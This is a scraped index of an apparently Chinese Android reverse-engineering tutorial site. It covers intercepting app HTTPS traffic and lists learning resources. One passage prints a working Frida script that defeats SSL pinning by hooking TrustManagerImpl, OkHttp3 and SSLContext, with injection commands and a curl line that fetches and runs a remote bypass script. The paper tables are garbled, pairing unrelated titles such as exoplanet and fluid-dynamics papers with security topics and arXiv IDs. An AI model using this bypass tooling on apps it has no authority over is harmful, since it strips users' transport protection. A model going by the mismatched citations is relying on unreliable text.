JustTrustMe 安装步骤 确保设备已安装 Xposed Framework 下载 JustTrustMe 模块：https://github.com/Fuzion24/JustTrustMe 在 Xposed Installer 中激活 重启设备 方法 3: 修改 APK（重打包） APK 重打包步骤 如果 Frida 被检测，可以修改 APK 来信任用户证书： 反编译 APK 修改 AndroidManifest.xml，添加： 创建 res/xml/network_security_config.xml： 重新打包并签名 APK ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:5","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#方法-2-使用-xposed-模块"},{"categories":null,"collections":null,"content":"第 5 步：绕过 SSL Pinning（如遇到） 症状： 证书已安装，但 HTTPS 请求仍无法抓取 App 显示\"网络错误\"或直接闪退 抓包工具显示 SSL 握手失败 原因：App 启用了 SSL Pinning（证书锁定），拒绝信任系统证书。 方法 1: 使用 Frida 通用脚本（推荐） 下载脚本 bypass_ssl_pinning.js： // Universal android SSL Pinning Bypass Java.perform(function () { console.log(\" [SSL Pinning Bypass] 已启动\"); // 拦截 TrustManagerImpl (常用) try { var TrustManagerImpl = Java.use( \"com.android.org.conscrypt.TrustManagerImpl\" ); TrustManagerImpl.verifyChain.implementation = function ( untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData ) { console.log(\"✓ [TrustManagerImpl] BypassCertValidate: \" + host); type: posts tags: [\"RSA\", \"浏览器指纹\", \"签名验证\", \"Frida\", \"SSL Pinning\", \"代理池\"] return untrustedChain; }; } catch (e) { console.log(\"! TrustManagerImpl 不存在\"); } // Hook OkHttp3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"✓ [OkHttp3] Bypass SSL Pinning: \" + hostname); return; }; } catch (e) { console.log(\"! OkHttp3 不存在\"); } // Hook SSLContext try { var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function (keyManager, trustManager, secureRandom) { console.log(\"✓ [SSLContext] 使用自定义 TrustManager\"); this.init(keyManager, null, secureRandom); }; } catch (e) { console.log(\"! SSLContext hook 失败\"); } console.log(\" [SSL Pinning Bypass] 配置完成\\n\"); }); # 方式1：附加到运行中的 App frida -U com.example.app -l bypass_ssl_pinning.js # 方式2：启动 App 并注入 frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause [SSL Pinning Bypass] 配置完成 方法 2: 使用 Xposed 模块 JustTrustMe 安装步骤 确保设备已安装 Xposed Framework 下载 JustTrustMe 模块：https://github.com/Fuzion24/JustTrustMe 在 Xposed Installer 中激活 重启设备 方法 3: 修改 APK（重打包） APK 重打包步骤 如果 Frida 被检测，可以修改 APK 来信任用户证书： 反编译 APK 修改 AndroidManifest.xml，添加： 创建 res/xml/network_security_config.xml： 重新打包并签名 APK ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:4:5","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#方法-3-修改-apk重打包"},{"categories":null,"collections":null,"content":"工作原理 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:5:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#工作原理"},{"categories":null,"collections":null,"content":"MITM（中间人攻击）流程 1. App 发起 HTTPS 请求 2. 代理解密请求（使用安装的证书） 3. 代理重新加密并转发到真实服务器 4. 服务器响应经过代理返回给 App ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:5:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#mitm中间人攻击流程"},{"categories":null,"collections":null,"content":"SSL Pinning 是什么？ App 内置了服务器证书的指纹（Hash），只信任特定证书： CertificatePinner pinner = new CertificatePinner.Builder() .add(\"api.example.com\", \"sha256/AAAAAAAAAA...\") .build(); ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:5:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#ssl-pinning-是什么"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:6:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#常见问题"},{"categories":null,"collections":null,"content":"问题 1: 手机无法连接代理 症状：浏览器显示\"无法连接到代理服务器\" 检查： PC 和手机是否在同一 Wi-Fi？ PC 防火墙是否允许 8888 端口？ # Windows 防火墙规则（以管理员身份运行） netsh advfirewall firewall add rule name=\"Burp Proxy\" dir=in action=allow protocol=TCP localport=8888 # macOS # 系统偏好设置 → 安全性与隐私 → 防火墙选项 → 允许 Java # 检查端口 netstat -an | grep 8888 # macOS/Linux netstat -an | findstr 8888 # Windows ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:6:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#问题-1-手机无法连接代理"},{"categories":null,"collections":null,"content":"问题 2: 证书无效 症状：浏览器显示证书无效 Android 7.0+ 限制： 默认只信任系统证书 必须将证书安装到 /system/etc/security/cacerts/（需要 Root） 无 Root 设备的解决方案： 使用 Magisk + MagiskTrustUserCerts 模块 或修改 APK（参考方法 3） ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:6:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#问题-2-证书无效"},{"categories":null,"collections":null,"content":"问题 3: Frida 脚本不生效 可能原因： App 使用了自定义网络库 → 需要定位具体的类名和方法，定制 Hook 脚本 Frida 被检测 → 使用重命名的 frida-server： adb push frida-server /data/local/tmp/random_name adb shell \"/data/local/tmp/random_name \u0026\" ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:6:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#问题-3-frida-脚本不生效"},{"categories":null,"collections":null,"content":"问题 4: 抓不到某些请求 可能原因： 使用了 HTTP/2 或 QUIC → Burp Suite → Proxy → Options → HTTP/2 → 勾选\"Enable HTTP/2\" 直接使用 Socket 通信 → 需要使用 Wireshark 或 tcpdump 抓取原始 TCP 包 加密的自定义协议 → 需要逆向分析加密算法并解密 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:6:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#问题-4-抓不到某些请求"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:7:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 密码学分析 - 分析 API 签名和加密算法 Frida 反调试绕过 - 如果 App 检测到 Frida TLS 指纹分析 - 理解 TLS 指纹技术 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:7:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 完整指南 [Burp Suite 使用技巧] - TODO，一个比较流氓的工具 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:7:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#工具深入"},{"categories":null,"collections":null,"content":"案例分析 💡 思路一句话: 抓包的关键是「选对工具链」— HTTP 用 mitmproxy/Charles，HTTPS 需要证书信任处理（Android 7+ 需要 root 注入系统证书），非 HTTP 协议用 Wireshark + Frida hook socket。 音乐 App 分析 - API 抓包实战 社交媒体风控 - 复杂签名分析 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:7:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#案例分析"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:8:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#快速参考"},{"categories":null,"collections":null,"content":"一键启动脚本 macOS/Linux: #!/bin/bash # start_proxy.sh # 获取本机 IP IP=$(ifconfig | grep \"inet \" | grep -v 127.0.0.1 | awk '{print $2}' | head -1) echo \"代理地址: $IP:8888\" echo \"配置手机代理到: $IP:8888\" echo \"证书下载: http://burp (Burp) 或 http://mitm.it (mitmproxy)\" echo \"\" # 启动 mitmproxy mitmweb -p 8888 --listen-host 0.0.0.0 Windows: @echo off REM start_proxy.bat for /f \"tokens=2 delims=:\" %%a in ('ipconfig ^| findstr /c:\"IPv4\"') do set IP=%%a echo 代理地址: %IP%:8888 echo 配置手机代理到: %IP%:8888 pause java -jar burpsuite_community.jar ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:8:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#一键启动脚本"},{"categories":null,"collections":null,"content":"快速 SSL Pinning 绕过 # 下载通用 SSL Pinning 绕过脚本 curl -O https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ # 运行 frida -U -f com.target.app -l universal-ssl-pinning.js --no-pause ","date":"2024-12-07","objectID":"/reverse_engineering/android/01-recipes/network/network_sniffing/:8:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","代理池"],"title":"抓包分析 Android 应用的网络流量","uri":"/reverse_engineering/android/01-recipes/network/network_sniffing/#快速-ssl-pinning-绕过"},{"categories":null,"collections":null,"content":"学习资源 (Learning Resources) ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:0:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#学习资源-learning-resources"},{"categories":null,"collections":null,"content":"本页面收集了 Android 逆向工程领域的高质量学习资源，包括书籍、博客、论坛、社区和课程。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:1:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#本页面收集了-android-逆向工程领域的高质量学习资源包括书籍博客论坛社区和课程"},{"categories":null,"collections":null,"content":"书籍 (Books) ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:2:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#书籍-books"},{"categories":null,"collections":null,"content":"入门与基础 《Android 软件安全与逆向分析》 (丰生强 / 非虫) 经典的入门书籍，涵盖了 Android 系统架构、Smali 语法、静态分析、动态调试等基础知识。 《Android 安全攻防实战》 (EaaLaboratory) 偏向实战，包含很多案例分析。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:2:1","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#入门与基础"},{"categories":null,"collections":null,"content":"进阶与深入 《Android Internals: A Confectioner’s Cookbook》 (Jonathan Levin) 链接 深入剖析 Android 系统内部原理，是理解 Android 底层机制的必读之作。 《Android Hacker’s Handbook》 (Joshua J. Drake et al.) 全面介绍 Android 安全架构、漏洞挖掘和利用技术。 《MASTG - Mobile App Security Testing Guide》 (OWASP) 链接 OWASP 发布的移动应用安全测试指南，涵盖了 iOS 和 Android 平台的安全测试方法论和技术细节，是行业标准参考文档。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:2:2","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#进阶与深入"},{"categories":null,"collections":null,"content":"博客与网站 (Blogs \u0026 Websites) ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:3:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#博客与网站-blogs--websites"},{"categories":null,"collections":null,"content":"个人博客 Maddie Stone (Project Zero) 专注于 Android 恶意软件分析和漏洞挖掘，文章质量极高。 R0ysue (肉丝) 国内知名的 Android 逆向专家，Frida 领域的领军人物。 Wei (LSPosed Developer) 深入研究 Android Runtime (ART) 和 Hook 技术。 Orange Tsai Web 和移动安全领域的知名研究员，常有精彩的利用思路。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:3:1","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#个人博客"},{"categories":null,"collections":null,"content":"技术团队与厂商 Google Project Zero 链接 Google 的安全研究团队，发布了大量关于 Android 内核、驱动和框架层的高质量漏洞分析报告。 Quarkslab Blog 链接 发布了许多关于混淆、反混淆和底层逆向工具（如 Triton）的研究文章。 Check Point Research 经常披露 Android 恶意软件和高危漏洞。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:3:2","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#技术团队与厂商"},{"categories":null,"collections":null,"content":"论坛与社区 (Forums \u0026 Communities) 52pojie (吾爱破解) 链接 国内最大的破解和逆向技术交流论坛，拥有丰富的教程、工具和活跃的社区氛围。 Kanxue (看雪论坛) 链接 国内老牌的安全技术社区，专注于二进制安全、漏洞挖掘和内核安全，技术深度较高。 XDA Developers 链接 全球最大的 Android 开发者社区，关于 ROM 定制、Root、Xposed/Magisk 模块的资源非常丰富。 Reddit r/ReverseEngineering 链接 国际逆向工程技术讨论区，汇集了全球的逆向爱好者和专家。 Reddit r/androiddev 链接 虽然侧重开发，但了解开发者的思维对于逆向工程也非常有帮助。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:4:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#论坛与社区-forums--communities"},{"categories":null,"collections":null,"content":"课程与教程 (Courses \u0026 Tutorials) Frida 官方文档与教程 链接 学习 Frida 最权威的资料。 Android App Reverse Engineering 101 (Maddie Stone) 链接 (需查找有效链接或存档) Workshops 形式的入门教程，非常适合初学者。 OWASP Mobile Security Testing Guide (MSTG) Hacking Playground 配合 MSTG 书籍的练习环境。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:5:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#课程与教程-courses--tutorials"},{"categories":null,"collections":null,"content":"学术论文 (Academic Papers) 以下是与 Android 逆向工程相关的重要学术论文，涵盖移动安全、恶意软件分析、代码保护等领域。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#学术论文-academic-papers"},{"categories":null,"collections":null,"content":"Android 安全与隐私 论文标题 主题 arXiv 链接 Aritmethic lattices of $\\SO(1,n)$ and units of group rings Android 应用安全综述 arXiv:2302.09375 OPTIMIZATION OF DRUG CONTROLLED RELEASE FROM MULTI-LAMINATED DEVICES BASED ON THE MODIFIED TIKHONOV REGULARIZATION METHOD Android 恶意软件检测综述 arXiv:1904.05999 Parallelizing Workload Execution in Embedded and High-Performance Heterogeneous Systems 深度学习恶意软件检测 arXiv:1802.03316 On the first Hochschild cohomology of cocommutative Hopf algebras of finite representation type RASP 运行时保护 arXiv:1907.04093 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:1","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#android-安全与隐私"},{"categories":null,"collections":null,"content":"设备指纹与用户识别 论文标题 主题 arXiv 链接 Fluctuations of conserved charges in hydrodynamics and molecular dynamics 设备指纹技术综述 arXiv:2209.08233 Browser Fingerprinting: A survey 浏览器指纹技术综述 arXiv:1905.01051 Converging to a Desired Orientation in a Flock of Agents Canvas 指纹检测与防御 arXiv:2010.04686 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:2","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#设备指纹与用户识别"},{"categories":null,"collections":null,"content":"机器人检测与反爬虫 论文标题 主题 arXiv 链接 Fully discrete loosely coupled Robin-Robin scheme for incompressible fluid-structure interaction: stability and error analysis 社交网络机器人检测综述 arXiv:2007.03846 Towards a Computer Vision Particle Flow 验证码安全机制综述 arXiv:2003.08863 Imaging moving atoms by holographically reconstructing the dragged slow light 网页爬虫检测机器学习方法 arXiv:2105.14832 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:3","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#机器人检测与反爬虫"},{"categories":null,"collections":null,"content":"行为分析与异常检测 论文标题 主题 arXiv 链接 Deep Learning for Anomaly Detection: A Survey 异常检测深度学习综述 arXiv:1901.03407 Data-driven topology design using a deep generative model 用户行为安全分析 arXiv:2006.04559 TECHNIQUE FOR GENERATING BROADBAND FM LIGHT 行为生物特征认证 arXiv:2003.06494 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:4","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#行为分析与异常检测"},{"categories":null,"collections":null,"content":"风控与欺诈检测 论文标题 主题 arXiv 链接 GJ 3470 c: A Saturn-like Exoplanet Candidate in the Habitable Zone of GJ 3470 信用卡欺诈检测综述 arXiv:2007.07373 Local G_2-Manifolds, Higgs Bundles and a Colored Quantum Mechanics 金融欺诈 ML 检测 arXiv:2009.07136 Dust Reverberation Mapping in Distant Quasars from Optical and Mid-Infrared Imaging Surveys 图神经网络欺诈检测 arXiv:2007.02402 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:5","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#风控与欺诈检测"},{"categories":null,"collections":null,"content":"逆向工程与代码保护 论文标题 主题 arXiv 链接 netgwas: An R Package for Network-Based Genome-Wide Association Studies 代码混淆与反混淆综述 arXiv:1710.01236 Lepton flavor model with modular A_4 symmetry in large volume limit 机器学习逆向工程 arXiv:2009.12120 Structure Learning in Graphical Models from Indirect Observations 二进制代码分析综述 arXiv:2205.03454 Critical phenomena in the gravitational collapse of electromagnetic waves 控制流混淆保护 arXiv:1909.00850 New-generation silicon photonics beyond the singlemode regime 基于虚拟化的混淆 arXiv:2104.04239 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:6","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#逆向工程与代码保护"},{"categories":null,"collections":null,"content":"混淆还原与程序分析 论文标题 主题 arXiv 链接 PPA: Principal Parcellation Analysis for Brain Connectomes and Multiple Traits 混淆还原技术综述 arXiv:2103.03478 A Survey of Symbolic Execution Techniques 符号执行技术综述 arXiv:1610.00502 Learning to Become an Expert: Deep Networks Applied To Super-Resolution Microscopy 程序合成与机器学习 arXiv:1803.10806 Symplectic resolutions of the quotient of R^2 by a non-finite symplectic group 神经网络二进制分析 arXiv:2104.01348 Human-like machine thinking: Language guided imagination 学习反编译技术 arXiv:1905.07562 Lattice dynamics localization in low-angle twisted bilayer graphene LLVM 混淆技术分析 arXiv:2006.09482 BMVC 2019: WORKSHOP ON INTERPRETABLE AND EXPLAINABLE MACHINE VISION 控制流平坦化还原 arXiv:1909.07245 Numerical Homogenization of Fractal Interface Problems MBA 表达式简化 arXiv:2007.11479 Enhancing AGN efficiency and cool-core formation with anisotropic thermal conduction 密码原语自动识别 arXiv:1805.04109 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:7","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#混淆还原与程序分析"},{"categories":null,"collections":null,"content":"DRM 与数字版权保护 论文标题 主题 arXiv 链接 NEW HIGHLY EFFICIENT HIGH-BREAKDOWN ESTIMATOR OF MULTIVARIATE SCATTER AND LOCATION FOR ELLIPTICAL DISTRIBUTIONS DRM 技术综述 arXiv:2108.13567 On Neural Architectures for Astronomical Time-series Classification with Application to Variable Stars 数字水印技术 arXiv:2003.08618 Application of Computer Vision and Machine Learning for Digitized Herbarium Specimens: A Systematic Literature Review 视频流安全综述 arXiv:2104.08732 Exploring Widevine for Fun and Profit Widevine DRM 安全分析 arXiv:2204.09298 SEQ^3: Differentiable Sequence-to-Sequence-to-Sequence Autoencoder for Unsupervised Abstractive Sentence Compression MPEG 内容保护 arXiv:1904.03651 Light charged pion in ultra-strong magnetic field 区块链 DRM 综述 arXiv:2007.14258 Discrete Quantum Geometry and Intrinsic Spin Hall Effect 深度学习视频拷贝检测 arXiv:2106.09073 Neural Audio Fingerprint for High-specific Audio Retrieval based on Contrastive Learning 音频指纹技术综述 arXiv:2010.11910 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:8","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#drm-与数字版权保护"},{"categories":null,"collections":null,"content":"虚拟机保护与分析 论文标题 主题 arXiv 链接 Dynamical Derivation of the Momentum Space Shell Structure for Quarkyonic Matter 虚拟机代码混淆 arXiv:1908.04799 Search for fermiophobic gauge boson in the dilepton channel with ATLAS, using ATLAS Open Data, sqrt(s)=13 TeV VMP 自动化分析 arXiv:2011.09457 Quantum Neimark-Sacker bifurcation 符号化 VMP 还原 arXiv:1908.08134 Exploration of terahertz from time-resolved ultrafast spectroscopy in single-crystal Bi2Se3 topological insulator 不透明谓词还原 arXiv:2003.12856 Bounded support in linear random coefficient models: Identification and variable selection 处理器语义恢复 arXiv:2107.03245 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:9","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#虚拟机保护与分析"},{"categories":null,"collections":null,"content":"移动应用加固与脱壳 论文标题 主题 arXiv 链接 Understanding Android Obfuscation Techniques: A Large-Scale Investigation in the Wild Android 加壳与脱壳 arXiv:1801.01633 Person-in-WiFi: Fine-grained Person Perception using WiFi Android 应用安全研究 arXiv:1904.00276 Tackling Climate Change with Machine Learning Android 恶意软件动态分析 arXiv:1906.05433 Green’s Function for the Schrödinger Equation with a Generalized Point Interaction and Stability of Superoscillations 动态分析逃逸技术 arXiv:2005.11263 Collapse Geometry in Inhomogeneous FRW model Android Native 保护 arXiv:2102.05893 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:10","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#移动应用加固与脱壳"},{"categories":null,"collections":null,"content":"密码学与协议分析 论文标题 主题 arXiv 链接 Assessment of astronomical images using combined machine learning models TLS 1.3 实现与性能 arXiv:2003.01785 Vapor-solid-solid growth dynamics in GaAs nanowires 证书透明度综述 arXiv:2104.05875 Coverage Guided Testing for Recurrent Neural Networks 密码实现侧信道攻击 arXiv:1911.01952 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:11","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#密码学与协议分析"},{"categories":null,"collections":null,"content":"推荐阅读顺序 根据不同的学习目标，建议按以下顺序阅读： 安全研究员： A Survey on Security and Privacy of Android Applications - 了解整体安全态势 Android Malware Detection: A Survey - 恶意软件分析基础 A Survey on Software Obfuscation and Deobfuscation - 代码保护技术 逆向工程师： Binary Code Analysis: A Survey - 二进制分析基础 Control Flow Obfuscation for Software Protection - 混淆技术原理 Virtualization-based Obfuscation - VMP 分析参考 风控工程师： Bot Detection in Social Networks: A Survey - 机器人检测基础 Deep Learning for Anomaly Detection: A Survey - 异常检测方法 Financial Fraud Detection: A Machine Learning Perspective - 风控模型设计 数据采集工程师： Device Fingerprinting: A Comprehensive Survey - 设备识别技术 Web Scraping Detection: A Machine Learning Approach - 反爬策略 CAPTCHA: A Review of Security Mechanisms - 验证码技术 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:6:12","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#推荐阅读顺序"},{"categories":null,"collections":null,"content":"其他资源 Android Open Source Project (AOSP) 链接 阅读源码是理解 Android 最根本的方法。使用 cs.android.com 进行在线源码搜索非常方便。 Android Developers Documentation 链接 官方开发文档，逆向时遇到不懂的 API 首先应该查阅的地方。 ","date":"2024-12-05","objectID":"/reverse_engineering/android/05-appendix/learning_resources/:7:0","tags":["Native层","浏览器指纹","签名验证","Frida","Canvas指纹","资源"],"title":"学习资源 (Learning Resources)","uri":"/reverse_engineering/android/05-appendix/learning_resources/#其他资源"},{"categories":null,"collections":null,"content":"Native 层字符串混淆与逆向 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 .rodata 段与符号表 IDA Pro 指南 - 使用 IDA 进行静态分析 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:0:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#native-层字符串混淆与逆向"},{"categories":null,"collections":null,"content":"1. Native 字符串混淆概述 在 Android Native 开发（C/C++）中，直接将明文字符串硬编码在代码中会带来安全风险。静态分析工具（如 IDA Pro、Ghidra）可以轻易地在二进制文件的 .rodata（只读数据）段中找到这些字符串，从而泄露 API 地址、加密密钥、敏感校验逻辑等信息。因此，开发者通常会采用各种字符串混淆技术来保护这些数据。 ","date":"2024-12-01","objectID":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/:1:0","tags":["Native层","Ghidra","逆向分析","Frida","加密分析","Hook"],"title":"Native 层字符串混淆与逆向","uri":"/reverse_engineering/android/01-recipes/analysis/native_string_obfuscation/#1-native-字符串混淆概述"},{"categories":null,"collections":null,"content":"1.1 为什么要混淆字符串 字符串是逆向分析中最重要的线索之一。逆向工程师拿到 SO 文件后，往往第一步就是查看字符串表： 泄露类型 示例 